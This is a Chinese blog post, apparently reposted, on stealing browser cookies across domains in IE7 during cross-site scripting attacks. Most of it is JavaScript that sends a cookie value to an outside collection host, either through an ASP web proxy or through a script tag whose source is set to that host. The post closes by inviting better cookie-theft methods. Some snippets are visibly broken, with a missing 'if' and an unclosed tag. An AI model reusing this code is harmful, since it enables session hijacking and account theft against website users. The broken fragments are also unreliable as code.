注册 | 登录 | 首页 | 归档 | 搜索 | 标签 | 评论

利用ajax跨域盗取cookie在ie7下的解决办法

网上的很多文章提到的利用ajax盗取cookie的代码经我测试只能在IE6下用了,在ie7下已经不可行。研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码: <script>
function 
getXmlHttpRequest(){
         if(
window.ActiveXObject){
                 var 
ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];                     
                 for(var 
i=0;i<ieArr.length;i++)
                     {
                     var 
xmlhttp= new ActiveXObject(ieArr[i]);
                     }
                     return 
xmlhttp;
         } else if(
window.XMLHttpRequest){
                     return new 
XMLHttpRequest();
                 }                 
}
     var 
xmlHttp=getXmlHttpRequest();
     
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
     
xmlHttp.send(null)


</script>

其中web.asp是一个asp代理。

这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行

另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码: <script LANGUAGE="Javascript" src="" id="get"
</script> 
<script LANGUAGE="Javascript"> 
<!-- 
function get(url) 
     { 
             var obj = document.getElementById("get"); 
             obj.src = url; 
             (obj.readStatus == 200) 
             { 
                 eval(alert("ok")); 
             } 
     } 
get("http://8888.com/2.asp?cookie=12345678")


/*function query() 
     { 
get("http://8888.com/web/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123"
     } 
//--> 
*/


</script>

至于有其它更好的办法,在ie7下能直接ajax跨域盗取cookie的欢迎讨论

form :http://hi.baidu.com/myvbscript/blog/item/46f5fbc49723a1ac8326ac3d.html

Address: http://www.4sec.org/ajax-cookie-ie7/    点击复制

Tags: ajax, 跨域, 盗取cookie, ie7

上一篇»» Ajax 安全工具
下一篇»» 谷歌的标准帐户和谷歌的Apps帐户已经整合

相关文章

发表评论

评论内容: